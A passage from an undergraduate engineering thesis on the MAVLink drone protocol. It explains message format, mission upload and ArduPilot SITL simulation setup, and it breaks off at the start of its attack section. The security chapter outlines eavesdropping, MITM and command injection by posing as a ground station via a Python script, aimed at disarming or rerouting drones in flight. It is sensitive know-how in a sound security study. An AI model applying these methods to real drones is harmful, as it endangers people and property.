INSTITUTO TECNOLÓGICO DE AERONÁUTICA

Marcos Santana de Oliveira

SUPPORTING THE DEVELOPMENT OF

UNMANNED VEHICLES: MAVLINK PROTOCOL
AND ITS SECURITY ASPECTS

Final Paper
2018

Course of Computer Engineering

 CDU 681.3

Marcos Santana de Oliveira

SUPPORTING THE DEVELOPMENT OF

UNMANNED VEHICLES: MAVLINK PROTOCOL
AND ITS SECURITY ASPECTS

Advisor
Prof. Dr. Juliana de Melo Bezerra (ITA)

COMPUTER ENGINEERING

São José dos Campos

instituto tecnológico de aeronáutica

2018
Cataloging-in Publication Data
Documentation and Information Division
Oliveira, Marcos Santana de
Supporting the Development of Unmanned Vehicles: MAVlink Protocol and its Security Aspects
/ Marcos Santana de Oliveira.
São José dos Campos, 2018.
39f.

Final paper (Undergraduation study) – Course of Computer Engineering– Instituto Tecnológico

de Aeronáutica, 2018. Advisor: Prof. Dr. Juliana de Melo Bezerra.

1. Aeronave não-tripulada. 2. Simulação em software-in-the-loop. 3. Simulação

computadorizada. 4. Protocolos de comunicação. 5. Computação. I. Instituto Tecnológico de
Aeronáutica. II. Supporting the Development of Unmanned Vehicles: MAVLink Protocol and its
Security Aspects.

BIBLIOGRAPHIC REFERENCE
OLIVEIRA, Marcos Santana de. Supporting the Development of Unmanned
Vehicles: MAVlink Protocol and its Security Aspects. 2018. 39f. Final paper
(Undergraduation study) – Instituto Tecnológico de Aeronáutica, São José dos Campos.

CESSION OF RIGHTS
AUTHOR’S NAME: Marcos Santana de Oliveira
PUBLICATION TITLE: Supporting the Developmentof Unmanned Vehicles: MAVlink
Protocol and its Security Aspects.
PUBLICATION KIND/YEAR: Final paper (Undergraduation study) / 2018

It is granted to Instituto Tecnológico de Aeronáutica permission to reproduce copies of

this final paper and to only loan or to sell copies for academic and scientific purposes.
The author reserves other publication rights and no part of this final paper can be
reproduced without the authorization of the author.

Marcos Santana de Oliveira

Av. Gonçalves Dias, 1000
65765-000 – Dom Pedro – MA
 “If I have seen farther than others,
it is because I stood on the shoulders of giants.”
— Sir Isaac Newton
 Resumo

Micro Air Vehicle Link é um protocolo simples de código aberto que tem se tornado
popular em aplicações envolvendo pequenas aeronaves não tripuladas, como drones. O
protocolo também é conhecido pela falta de medidas fortes de segurança, uma vez que é
focado em uma comunicação leve para canais com limitações de banda.
Esse trabalho mostra uma visão global dos principais aspectos do protocolo MAVLink
a fim de construir um guia sólido para ajudar no desenvolvimento de aplicações com
drones. O trabalho também apresenta os passos necessários para configurar um ambiente
de simulação com o Ardupilot para auxiliar na análise de segurança do protocolo, a qual
focou na reprodução de ataques a um drone de asa rotativa em voo.
 Abstract

Micro Air Vehicle Link is a simple open source protocol that has become popular in
applications envolving small unmanned aircraft as drones. The protocol is also known for
the lack of strong security measures once that is focused on lightweight communication
over a bandwith-constrained channel.
This paper overviews the main aspects of the protocol in order to constroy a solid
guide to help in the development of applications with drones. This work also presents
the steps necessary to configure a simulation environment with Ardupilot to support a
security analysis of the protocol, which focused in reproducing attacks to a Copter in
flight.
 List of Figures

FIGURE 2.1 – Structure of a MAVLink v1.0 Message. . . . . . . . . . . . . . . . . 14

FIGURE 2.2 – Diagram with messages exchanges between GCS and Drone when
uploading a mission to the vehicle. Adapted from (MAVLINK. . . ,
2018a). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

FIGURE 3.1 – MAVProxy graphical interface running in Ubuntu. . . . . . . . . . . 22

FIGURE 3.2 – Diagram of SITL Architecture. Figure adapted from (ARDUPILOT. . . ,
2016a). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
FIGURE 3.3 – Image from FlightGear simulator running in SITL. Observe four red
lights (PAPI) in the left of the lane. . . . . . . . . . . . . . . . . . . 27

FIGURE 4.1 – Diagram of SITL environment with an attacker. Diagram adapted

from (ARDUPILOT. . . , 2016a). . . . . . . . . . . . . . . . . . . . . . . 30
FIGURE 4.2 – MAVProxy map, console and terminal when copter is executing a
mission. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
FIGURE 4.3 – MAVProxy map, console and terminal after running the attacker
python script. Copter has changed its way to a waypoint that don’t
belong to the first mission. . . . . . . . . . . . . . . . . . . . . . . . 35
List of Abbreviations and Acronyms

CRC Cyclic Redundancy Check

GCS Ground Control Station
ESC Electronic Speed Controllers
MAVLink Micro Air Vehicle Link
PAPI Precision Approach Path Indicator
RC Remote Control
RPA Remotely Piloted Aircraft
RPAS Remotely Piloted Aerial System
VOR Very High Frequency Omnidirectional Range
WGS World Geodetic System
XML Extensible Markup Language
 Contents

1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.2 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
1.3 Work Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

2 MAVLink Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.1 Payload Format and Field Reordering . . . . . . . . . . . . . . . . . 15
2.2 Differences between versions . . . . . . . . . . . . . . . . . . . . . . . 16
2.3 XML Message Definitions . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.4 Mission Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.4.1 Uploading a Mission to the Vehicle . . . . . . . . . . . . . . . . . . . 19

3 SITL (Software In The Loop) . . . . . . . . . . . . . . . . . . 21

3.1 MAVProxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
3.2 FlightGear . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
3.3 Simulation Environment Architecture . . . . . . . . . . . . . . . . . 22
3.4 Downloading the ArduPilot Code . . . . . . . . . . . . . . . . . . . . 23
3.5 How to start SITL simulator . . . . . . . . . . . . . . . . . . . . . . . 25
3.6 FlightGear 3D View . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.6.1 Adding a new location to FlightGear . . . . . . . . . . . . . . . . . . 26
3.7 SITL testing applications . . . . . . . . . . . . . . . . . . . . . . . . . 26

4 Reproducing Attacks in SITL environment . . . . . . . . . 28

4.1 MAVLink Security Overview . . . . . . . . . . . . . . . . . . . . . . . 28
CONTENTS xi

4.1.1 Network Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

4.2 Sending MAVLink Messages using Python scripts . . . . . . . . . . 29
4.3 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
4.3.1 Disarming Copter in Flight . . . . . . . . . . . . . . . . . . . . . . . . 30
4.3.2 Changing Mission Waypoints . . . . . . . . . . . . . . . . . . . . . . . 32
4.3.3 Changing Home Position . . . . . . . . . . . . . . . . . . . . . . . . . 34

5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

Bibliography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
1 Introduction

This section starts with the motivation and the objective of the work. Besides it
presents the work organization which describes the approach adopted to study the MAVLink
Protocol.

1.1 Motivation

Remotely Piloted Aircraft Systems (RPAS) like drones have become more popular
nowadays because they can provide new ways to solve human issues. Uses for drones vary
in different practical applications as security services, emergency services, urban plannig,
recreation, entertainment and communication.
As a more specific example of application of drones, ICEA (Instituto de Controle do
Espaço Aéreo) researches about remote flight inspection using unmanned aircraft. Flight
inspection operations are proccesses made to verify and to validate the availability, quality,
accuracy and integrity of navigation aids, as PAPI (Precision Approach Path Indicator)
and VOR (Very High Frequency Omnidirectional Range).
If you start to develop a project using RPAS you will probably need to search and
to learn about Micro Air Vehicle Link (MAVLink), once that the communication pro-
tocol is a important part in applications with drones. The MAVLink protocol was first
released in 2009 by Lorenz Meier. At first the protocol was created for educational pur-
poses, but today it is so popular that has become a world standard in projects envolving
RPAS/drones.
Once that drones have become polular in commercial and security applications, they
are systems susceptible to attacks. Besides some applications require security require-
ments that cannot match with MAVLink standards of security (for example MAVLink
does not use encryption in its messages). Analyzing security aspects of MAVLink is
necessary to find and to understand vulnerabilities in the communication protocol.
CHAPTER 1. INTRODUCTION 13

1.2 Objective

One of the goals of this work is to reune reliable information about the MAVLink
protocol in order to become a reference material. In general papers related to RPAS
applications have a small section about this protocol, but more information is necessary
to undersatand how it works. Although the protocol has its own documentation, many
aspects are not explained in details and it lacks practical example uses of the MAVLink
inside a simulation environment.
The second goal is to provide a security analysis of MAVLink protocol by reproducing
possible attacks to a copter in flight in a SITL environment. Futhermore this work aims
to show all the details and settings of the tools used in the study.

1.3 Work Organization

Chapter 2 reports the main aspects of MAVLink in order to contextualize new devel-
opers. This chapter aims to follow the MAVLink Developer Guide in order to clarify and
complement the official documentation.
Chapter 3 describe the steps to configure the Software-In-The-Loop enviroment in a
Ubuntu virtual machine, where the security simulations took place. It also shows the
software and tools used to set the environment.
Chapter 4 presents a brief security analyses of the protocol, showing how the lack of
encryption and authentication can be used by attackers to interfere in the communication
between drones and trusted Ground Control Station. Finally, it also shows three attacks
to drone communication in SITL environment.
2 MAVLink Protocol

Micro Air Vehicle Link is a lightweight header-only protocol used in the bidirectional
communications between drones and a Ground Control Station (GCS). In general, the
GCS sends commands to control the drone and the drone sends its status information in
return. It is a binary telemetry protocol designed for resource-constrained systems and
bandwidth-constrained links. Nowadays MAVLink is deployed in two major versions: v1.0
and v2.0, which is backwards-compatible (MAVLINK. . . , 2018b).

FIGURE 2.1 – Structure of a MAVLink v1.0 Message.

A MAVLink message is a sequence of bytes encoded by a GCS and sent by telemetry

over a wireless channel. In this process, the payload is transfomed into a specific data
structure and sent in bytes through a channel followed by a checksum for error detection.
The data structure of a message can be observed in the figure 2.1. The length of a message
can vary from 8 to 263 bytes in the 1.0 version of the protocol, according to the size of
the payload. The fields of a message as shown in figure 2.1 are:

• Sync: is a sequence that indicates the beginning of new MAVLink message. It is

also known as protocol magic marker.

• LEN: indicates the length of the Payload;

• SEQ: is the sequence number of the packet. Components increment this value for
each message sent. It is used to detect packet loss;

• SysID: identifies the sending system. It is used to differentiate drones on the same
network;

• CompID: identifies the sending component inside a sending system;

CHAPTER 2. MAVLINK PROTOCOL 15

• MsgID: is the identification of the message, which is used to know how the payload
must be interpreted;

• Payload: data of the message, which contains the parameters. It is no longer than
255 bytes in the 1.0 version;

• CRC (Cyclic Redundancy Check): is a 2 bytes checksum of the message ex-

cluding the magic marker. It is used for validation to ensure integrity of the package.

2.1 Payload Format and Field Reordering

A message of MAVLink protocol does not have information about the structure of
the payload. Then the sender and the receiver using the protocol must understand the
meaning of the payload format (parameters order and sizes) in order to maintain the
communication.
MAVLink messages have ids that identifies the specific message encoded in the package
and the payload field contains the message data. Before sending a message over a channel,
the protocol reorders the fields inside the payload. Then the order may not continue the
original order presented in the XML Message Definitions (see subsection 2.3).
Message payload fields are reordered for transmission as follows (MAVLINK. . . , 2018c):

• Fields are sorted according to their native data size, first (u)int64 t and double,
then (u)int32 t, float, (u)int16 t, (u)int8 t;

• Two fields with same length have their order preserved as it was before the data
field size ordering;

• Arrays are handled based on the data type they use, not based on the total array
size;

• The CRC EXTRA field (second byte of the checksum) is calculated after the re-
ordering, to ensure that a mistake during field reordering will be caught by a faulty
CRC. So, the CRC EXTRA is used to verify that the sender and receiver have a
shared understanding of the message sent after the reordering.

The only exception to the above reordering is for MAVLink 2.0 extension fields (see
subsection 2.2). Extension fields are sent in XML-declaration order and are not included
in the CRC EXTRA calculation. This allows new extension fields to be appended to the
end of a message without breaking binary compatibility. Besides, MAVLink 2 truncates
any zero-filled bytes at the end of the payload before the message is sent and sets the
packet len field appropriately, while MAVLink 1.0 always sends all bytes.
CHAPTER 2. MAVLINK PROTOCOL 16

2.2 Differences between versions

MAVLink has been deployed in 2 versions: MAVLink 2.0, which is the current major
version, and MAVLink 1.0, widely adopted around 2013. Many features differentiates the
two versions. For 2.0 version the packet start marker byte is 0xF D and for 1.0 version
is 0xF E, for example. Besides MAVLink 2.0 package has more fields than the previous
version. The new fields were designed to bring more flexibility and security to the protocol
communication.
The new features of MAVLink 2.0 are (MAVLINK. . . , 2018d):

• 24 bits for message ID: more than 256 possible message IDs (over 16 million packets).
In the version 1.0, only 8 bits were designed to message IDs;

• Packet signing: authentication was implemented to ensure that messages come from
trusted systems;

• Extending existing MAVLink messages: new fields to existing MAVLink message

definitions without breaking binary compatibility for receivers that have not up-
dated.

• Empty-byte payload truncation: empty (zero-filled) bytes at the end of the serialized
payload are removed before sending (All bytes were sent in MAVLink 1, regardless
of content).

• Compatibility Flags/Incompatibility Flags: allow for backwards compatible evolu-

tion of the protocol by indicating frames that must be handled in a special/non-
standard way. Packets with compatibility flags can still be handled in the standard
way, while packets with incompatibility flags must be dropped if the flag is not
supported.

2.3 XML Message Definitions

MAVLink messages have defined formats in order to be consistent between the systems
that use the protocol. These formats can be found in a XML file and can be converted
to MAVLink libraries for other languages formats, as C/C++ or Python, using a code
generator. Drones and ground control stations use the generated libraries to communicate.
Each XML file defines the messages supported by a particular MAVLink system, also
known as a ”dialect”. More information about the MAVLink XML File Schema/Format
can be found in reference (MAVLINK. . . , 2018e).
CHAPTER 2. MAVLINK PROTOCOL 17

The reference message set that is implemented by most ground control stations and
autopilots is defined in common.xml (most dialects build on top of this definition). Only
messages contained in the common.xml file are considered standard messages.
Writing a new definition in the XML enables to add new messages to the protocol.
The XML definition for the heartbeat message is presented as an example.

<message id="0" name="HEARTBEAT">

<description>The heartbeat message shows that a system
is present and responding. The type of the MAV and
Autopilot hardware allow the receiving system to
treat further messages from this system appropriate
(e.g. by laying out the user interface based on the
autopilot).</description>
<field type="uint8_t" name="type" enum="MAV_TYPE">Type of the MAV
(quadrotor, helicopter, etc.)</field>
<field type="uint8_t" name="autopilot" enum="MAV_AUTOPILOT">
Autopilot type / class.</field>
<field type="uint8_t" name="base_mode" enum="MAV_MODE_FLAG"
display="bitmask">System mode bitmap.</field>
<field type="uint32_t" name="custom_mode">A bitfield for use
for autopilot-specific flags</field>
<field type="uint8_t" name="system_status" enum="MAV_STATE">
System status flag.</field>
<field type="uint8_t_mavlink_version" name="mavlink_version">
MAVLink version, not writable by user, gets added by protocol
because of magic data type: uint8_t_mavlink_version</field>
</message>

The different XML parts encode:

• Each message is encapsulated by <message></message>;

• id=“0” means this message has the id / index number zero. Valid numbers range
from 0 to 255, with ids 150-240 being reserved for extensions (so you will want to
use the 150-240 range for your personal messages);

• name=“HEARTBEAT” encodes the human-readable name. The name is only used

in the code and not transmitted. The system itself only refers to the ID;
CHAPTER 2. MAVLINK PROTOCOL 18

• <description></description> is a very important, but optional field. This de-

scription is shown in user interfaces and in code comments. It should contain all
information (and hyperlinks) to fully understand the message;

• <field></field> Encodes one field of the message. It is similar to one variable in a

C-struct. Fields can be integers of 8, 16, 32 and 64 bit length (signed and unsigned)
and single/double precision IEEE754 floating point numbers;

• type=“uint8 t” Defines this field as unsigned integer with 8 bits size. Arrays can
be defined like this: type=“uint8 t[5]” for an array of size 5. The type uint8 t -
mavlink version is a special type: It encodes an unsigned eight bit number holding
the current protocol version. This field is read-only and is automatically filled by
MAVLink during the transmission. It allows the receiver to decode the protocol
version.

2.4 Mission Protocol

MAVLink has a mission sub-protocol that allows a GCS to manage a mission. A mis-
sion can be a flight plan with waypoints or a geofence (supported only by 2.0 version),
which is a limit to where the UAV cannot fly beyond, for example. This sub-protocol im-
plements the client/server design pattern, so operations and some commands are iniciated
by the GCS (client) and acknowledged by the autopilot (server).
Mission commands can be grouped in three categories (ARDUPILOT. . . , 2016b):

• NAV commands (MAV CMD NAV *): Navigation commands are used to control
the movement of the vehicle, including takeoff, moving to and around waypoints,
changing altitude, and landing.

• DO commands (MAV CMD DO *): DO commands are for auxiliary functions

and do not affect the vehicle’s position (for example, setting the camera trigger
distance, changing the speed or setting a servo value).

• CONDITION commands: Conditional commands control the execution of DO

commands. For example, a conditional command can prevent DO commands ex-
ecuting based on a time delay, until the vehicle is at a certain altitude, or at a
specified distance from the next target position.

The commands are encoded and transmitted in MISSION ITEM (id #39) or MIS-
SION ITEM INT (id #73) messages of MAVLink. These messages have fields to identify
the command and up to 7 parameters which are specific for each command. The first four
CHAPTER 2. MAVLINK PROTOCOL 19

parameters can be used for any purpose depending on the command and the last three
parameters keep the positional information in NAV commands, but can be used for any
purpose in other type of commands (MAVLINK. . . , 2018a).
Many of the commands (in particular the NAV commands) include position/location
information. The information is provided relative to a particular “frame of reference”,
which is specified in the message’s frames of reference field. Copter Mission uses MAV -
CMD DO SET HOME command to set the “home position” in the global coordinate
frame (MAV FRAME GLOBAL), WGS84 coordinate system, where altitude is relative
to mean sea level. All other commands use the MAV FRAME GLOBAL RELATIVE -
ALT frame, which uses the same latitude and longitude, but sets altitude as relative to
the home position (home altitude = 0) (ARDUPILOT. . . , 2016b).

2.4.1 Uploading a Mission to the Vehicle

The diagram presented in figure 2.2 represents the communication sequence of the
operation to upload a mission in the vehicle. In more details, the sequence of operation
is (MAVLINK. . . , 2018a):

FIGURE 2.2 – Diagram with messages exchanges between GCS and Drone when uploading
a mission to the vehicle. Adapted from (MAVLINK. . . , 2018a).
CHAPTER 2. MAVLINK PROTOCOL 20

1. The GCS starts sending a MISSION COUNT(N) message to the drone, where N is
the total number of waypoints that will be sent. Observe that GCS (client) sets a
timeout after every message and will resend if there is no response from the vehicle;

2. Drone (server) receives the message, and prepares to upload mission items;

3. Drone responds asking for the first waypoint using a MISSION REQUEST INT(WP)
message, where WP is the waypoint index it’s waiting for;

4. GCS receives MISSION REQUEST INT and responds with the requested mission
item in a MISSION ITEM INT message;

5. Drone and GCS repeat the MISSION REQUEST INT/MISSION ITEM INT cycle
until all items are uploaded;

6. Finally the drone sends a MISSION ACK message to inform the GCS the result of
the operation in type (enum MAV MISSION RESULT). On sucess, type is MAV -
MISSION ACCEPTED and, on failure, type is set to MAV MISSION ERROR.

In the operation sequence the following messages were used (MAVLINK. . . , 2018f):

• MISSION COUNT (#44): This message is emitted by the GCS in order to initiate
a write transaction. The drone can then request the individual mission item based
on the knowlwdge of the total number of waypoints. MAVLink 2.0 supports the
extension field mission type whose values are defined by the enum MAV MISSION -
TYPE (values are MISSION, FENCE, RALLY or ALL). The enum identifies the
type of mission items being requested/sent in mission protocol.

• MISSION REQUEST INT (#51): Request the information of the mission item
with the sequence number seq. The response of the system to this message should
be a MISSION ITEM INT message. The protocol must also support MISSION -
REQUEST (#40) in the same way.

• MISSION ITEM INT (#73): encodes a mission item. This message is emitted to
announce the presence of a mission item and to set a mission item on the system.
The mission item can be either in x, y, z meters or x:lat, y:lon, z:altitude, depending
on the selected frame system. The protocol must also support MISSION ITEM
(#39) in the same way.

• MISSION ACK (#47): Acknowledgment message during waypoint handling. The

type field states if this message is a positive ack (type=0 or MAV MISSION AC-
CEPTED) or if an error happened (type=non-zero).
3 SITL (Software In The Loop)

Software In The Loop simulator allows to run ArduPilot code without any hardware.
So SITL simulation is ideal to test new featues and changes in the code during devel-
opment. In this simulation environment some software are needed as MAVProxy and
Flight Gear. Descriptions of some features of these software are provided in this chapter.
This chapter also explains how to set up SITL ArduPilot Simulator in a virtual machine
environment on Windows following the instructions the Ardupilot Dev Team tutorial
(ARDUPILOT. . . , 2016c).
The tutorial was tested in a Ubuntu 16.04 virtual machine. The host machine oper-
ational system was Windows 10 with Oracle VM VirtualBox. Besides the host machine
had a Intel Core i7-7500U CPU @ 2.70 GHz processor and 8 GB of memory (RAM). The
virtual machine was configured in VirtualBox to have 4 GB of memory (RAM).

3.1 MAVProxy

MAVProxy is a powerful command-line ground station software. It has the ability to

forward the messages from the UAV over the network via UDP to multiple other ground
station software on other devices (ARDUPILOT. . . , 2016d).
MAVProxy is commonly used by developers in SITL environment for testing new
builds in Ardupilot code. It also features a number of graphical tools such as a slipmap
for satellite mapping view of the vehicles location, status console and several useful vehicle
control modules (PYPI. . . , 2018).
The figure 3.1 shows MAVProxy graphical interface. In the command prompt the user
can modify quadcopter parameters, change flight modes, start a mission and send other
radio control inputs to the vehicle. The console shows information about the simulation
and the map simulates the position of the drone and its trajectory.
CHAPTER 3. SITL (SOFTWARE IN THE LOOP) 22

FIGURE 3.1 – MAVProxy graphical interface running in Ubuntu.

3.2 FlightGear

FlightGear is a graphical interface capable of displaying a representation of the sim-

ulated flight. It is an open-source flight simulator that supports a variety of popular
platforms as Windows, Mac and Linux. Figure 3.3 shows the graphical interface of the
software for a copter simulation.
The goal of the FlightGear project is to create a sophisticated and open flight simulator
framework for use in research or academic environments, pilot training, as an industry
engineering tool, for DIY-ers to pursue their favorite interesting flight simulation idea,
and last but certainly not least as a fun, realistic, and challenging desktop flight simulator
(FLIGHTGEAR, 2018).

3.3 Simulation Environment Architecture

The integration of the main components of the simulated environment is represented

in the diagram in figure 3.2. ArduCopter code is the red module, but the simulation
itself is made by an external physics engine represented by the blue block Physics Simu-
lation. Data exchanges between ArduCopter and Physics simulation are made over UPD
connections 5501 and 5502.
Over UDP connection in port 5502 ArduCopter sends simulated data from servos and
from Electronic Speed Controllers (ESC) to the Physics Simulation. Electronic Speed
CHAPTER 3. SITL (SOFTWARE IN THE LOOP) 23

Controllers are responsible for spinning the motors at the speed requested by the autopi-
lot (ARDUPILOT. . . , 2016e) and servors can have many purposes as triggering a camera
shutter, releasing a parachute or dropping a tennis ball. These data are inputs to the
Physics Simulation.
The SITL FDM output of the Physics Simulation is passed to ArduCopter (UDP port
5501) and to FlightGear (UDP port 5503). SITL FDM is a data structure with Flight
Data Monitoring that is sent to ArduCopter in order to update the simulation state. So
it has data as timestamp, latitude, longitude, speed and acceleration values. FlightGear
also uses these data to make the flight simulation.
The difference between the ArduCopter code binary running in SITL and one that
runs in a board is the compiler used and the Hardware Abstraction Layer (HAL) wired
in. The Hardware Abstraction Layer is what makes ArduPilot portable to lots of different
platforms.
In the code there is a top level AP HAL in libraries/AP HAL that defines the interface
that the rest of the code has to specific board features, then there is a AP HAL XXX
subdirectory for each board type. For example AP HAL AVR for AVR based boards,
AP HAL PX4 for Pixhawk boards and AP HAL Linux for Linux based boards. The
code contained in this HALs (Hardware Abstraction Layers) is usually quite low level and
close to the hardware (ARDUPILOT. . . , 2016f).
SITL also has its own Hardware Abstraction Layer. It is responsible for taking perfect
data from the simulator and making it looks like it came from sensors by adding some
noise.
The Ground Control Station is MAVProxy in the green block. MAVProxy sends
MAVLink messages to the simulated copter over the TCP connection in port 5760.

3.4 Downloading the ArduPilot Code

The steps presented in this section belongs to the tutorial in the reference (ARDUPI-
LOT. . . , 2016c). The ArduPilot project uses git for source code management and GitHub
for source code hosting. To install git use the commands in the terminal:

sudo apt-get update

sudo apt-get install git

Now you have to get a copy of the ardupilot git repository. Open the terminal and
run:
CHAPTER 3. SITL (SOFTWARE IN THE LOOP) 24

FIGURE 3.2 – Diagram of SITL Architecture. Figure adapted from (ARDUPILOT. . . ,

2016a).

git clone git://github.com/ArduPilot/ardupilot.git

cd ardupilot
git submodule update --init --recursive

Install required packages using the script install-prereqs-ubuntu.sh located in ardupi-

lot/Tools/scripts. Go to the directory you cloned ardupilot into and use the following
command line. It can take a while depending on your internet connexion. Don’t forget
to accept the changes when asked.

cd ardupilot/Tools/scripts/install-prereqs-ubuntu.sh

Now you have to add the following lines to the end of your .bashrc file in your home
directory. Notice the . on the start of that filename. Also, this is a hidden file, so if you’re
using a file manager, make sure to turn on “show hidden files”.

export PATH=$PATH:$HOME/ardupilot/Tools/autotest
export PATH=/usr/lib/ccache:$PATH

Save the .bashrc file and open the terminal. Then reload your PATH by using the
“dot” command in a terminal:
CHAPTER 3. SITL (SOFTWARE IN THE LOOP) 25

. ~/.bashrc

If you don’t change the .bashrc file you will not be able to use sim vehicle.py as described
in the next section.

3.5 How to start SITL simulator

In the terminal, go to the directory of the vehicle you want to make a simulation with.
For example, for the multicopter code use the command line:

cd ardupilot/ArduCopter

Then start the simulator using sim vehicle.py. The first time you run it you should
use the -w option to wipe the virtual EEPROM and load the right default parameters for
your vehicle.

sim_vehicle.py -w

After the default parameters are loaded you can start the simulator normally. First
kill the sim vehicle.py you are running using Ctrl-C. Then:

sim_vehicle.py --console --map

3.6 FlightGear 3D View

It is possible to install FlightGear Flight Simulator to display a 3D simulation of the

vehicle and its surroundings. To install FlightGear from terminal use next command line.
It may take a few minutes to finish the download.

sudo apt-get install flightgear

If you want to run the simulation including the FlightGear 3D view, you need to open
a new terminal, go to the directory /ardupilot/Tools/autotest/ and open fg quad view.sh
(Copter). This will start FlightGear. The next steps show the procedure to run the
simulation.

1. In a terminal use the command lines:

CHAPTER 3. SITL (SOFTWARE IN THE LOOP) 26

cd ardupilot/Tools/autotest
./fg_quad_view.sh

2. In other terminal:

cd ardupilot/ArduCopter
sim_vehicle.py -j4 -L KSFO --map --console

In the step 2, −L parameter was used to start the simulator at a particular location, in
this case KSFO, but you can use other locations presents in the ardupilot/T ools/autotest/locations.tx
file. It is possible to add other locations as can be seen in the next subsection (ARDUPI-
LOT. . . , 2016g).

FlightGear will always start by loading scenery at KSFO (San Francisco International
Airport) but will change to the selected scenery once SITL is started. If the vehicle appear
to be hovering in space (no scenery) then you don’t have the files for that location, but
you can download it after.

3.6.1 Adding a new location to FlightGear

New locations are hard-coded into a file. This section shows how to add a new location.
We will call the location as KSFO PAPI, because it will be next to PAPI lights in a lane
of KSFO. In the directory ardupilot/Tools/autotest find the locations.txt file. This file
contains all the locations you can choose for simulation. Each line follows the sintaxe:

#NAME=latitude,longitude,absolute-altitude,heading

Then add to the file the next line.

KSFO_PAPI = 37.6136, -122.357, 5.3, 297.9

When you run the simulation in KSFO PAPI location using the steps shown in section
3.6, FlightGear environment will be as in figure 3.3.

3.7 SITL testing applications

SITL and MAVProxy can be used in a lot of ways to change the environment, to change
failure modes and to configure vehicle with optional components. More information about
how to configure advanced tests is presented in the article SITL Advanced Testing from
Ardupilot Dev Documentation (ARDUPILOT. . . , 2016h).
The article explains features like the ones in the following list.
CHAPTER 3. SITL (SOFTWARE IN THE LOOP) 27

FIGURE 3.3 – Image from FlightGear simulator running in SITL. Observe four red lights
(PAPI) in the left of the lane.

• Setting Vehicle Start Location;

• Loading a parameter set: parameters can change the environment conditions, so

you may want to replace these with values to simulate the vehicle in more realistic
conditions;

• Testing RC failsafe: to test the behaviour of ArduPilot when you lose remote control
(RC).

• Testing GPS failure: to test losing GPS, use SIM GPS DISABLE parameter. In
the MAVProxy prompt:

param set SIM_GPS_DISABLE 1

• Testing the effects of wind: changing wind direction, speed and turbulence to test
their effect on flight behaviour. For example, to change the wind so that it blows
towards the south at a speed of 5 m/s, you just need to type in the MAVProxy
prompt:

param set SIM_WIND_DIR 180

param set SIM_WIND_SPD 5
4 Reproducing Attacks in SITL
environment

This chapter starts with a brief overview about MAVLink security aspects. Then it
shows how we adapted the Ardupilot SITL environment to reproduce attacks exploring
MAVLink 1.0 exploits. Initially it is presented how to set a attacker GCS using python
scripts. Then each attack analysed is documented.

4.1 MAVLink Security Overview

An Unmanned Aerial Vehicle (UAV) can be controlled autonomously by onboard com-

puters or remotely using a controller or a ground control station. In general drones have
radio that supports wireless communication with a GCS or a remote control. The wireless
communication channel can be exploited by several types of remote attacks, so data-link
should be safe.
Remote attacks can violate the confidentiality, integrity and availability of the system.
Confidentiality is related to restrict information access only to authorized users, so it is
violated when an attacker can get information about commands sent to the UAV by the
GCS or data sent from UAV to the GSC.
Integrity ensures that the original information and signals transmitted, stored and
converted are maintained and not changed afterwards. Violation of integrity allows attacks
as message injection and replay attack.
Availability allows the system to function when required by the user. In terms of
maintenance, service must not be interrupted and performance must be maintained. Also,
in terms of access to the system, the service must be accessible whenever the user needs
it. Denial of service attacks can violate availability (KWON et al., 2018). The next section
presents three types of network attacks: Eavesdropping, Man-In-The-Middle and Denial-
of-service.
CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 29

4.1.1 Network Attacks

Eavesdropping is an attack that focuses on capturing packets from the network trans-
mitted by other systems in order to find information. This type of attack is generally
effective when encryption services are not used. MAVLink packages are sent through the
wireless channel without any encryption, so the protocol is susceptible to this type of
attack that violates confidentiality.
In the Man-In-The-Middle (MITM) the attacker secretly is located in the middle of the
hosts, sniffing and possibly altering the information between the two parts. So, this attack
violates the confidentiality and the integrity of the system, and the hosts still believe they
are directly communicating with each other.
In most UAS, communication is not addressed to the GCS, the commands, acknowl-
edgments and status updates are transmitted to all users sharing the same configuration
settings. This communications topography makes the MITM attack different from most
network executions because the attacker technically never needs to be “between” the GCS
and UAV. The attacker only needs to use network configuration settings identical to the
GCS to violate the UAS integrity or confidentiality.
Denial-of-service (DoS) is a attack in which the attacker aims to make a machine or
network resource unavailable to its intended users by temporarily or indefinitely disrupting
services. DoS is typically accomplished by flooding the targeted machine or resource with
many requests in order to overload systems and prevent some or all legitimate requests
from being answered (WIKIPEDIA, 2018).
DoS attacks violate availability and monopolize the resources of the system. In case of
a DoS attack on a UAV system, control message, sensor and mission information are not
correctly transmitted. Therefore, the normal state of the drone and the mission execution
are injured. It is common to implement safety checks to combat DoS as configuring the
UAV to return to home if the connection with the GCS is lost.

4.2 Sending MAVLink Messages using Python scripts

It is possible to send MAVLink messages using a python script during a software in

the loop simulation. To do that we use Pymavlink, which is a python implementation of
the MAVLink protocol. With Pymavlink, it is possible to create a python script to read
sensor data and send commands.
The script uses a TCP connection in port 5762 to send messages connected to Ar-
duCopter running in SITL. Using this approach we simulated attacks in different situa-
tions by changing the commands in the script. The figure 4.1 shows the diagram of the
CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 30

FIGURE 4.1 – Diagram of SITL environment with an attacker. Diagram adapted from
(ARDUPILOT. . . , 2016a).

environment with an attacker.

4.3 Attacks

This section presents information about how to set up each attack in SITL environ-
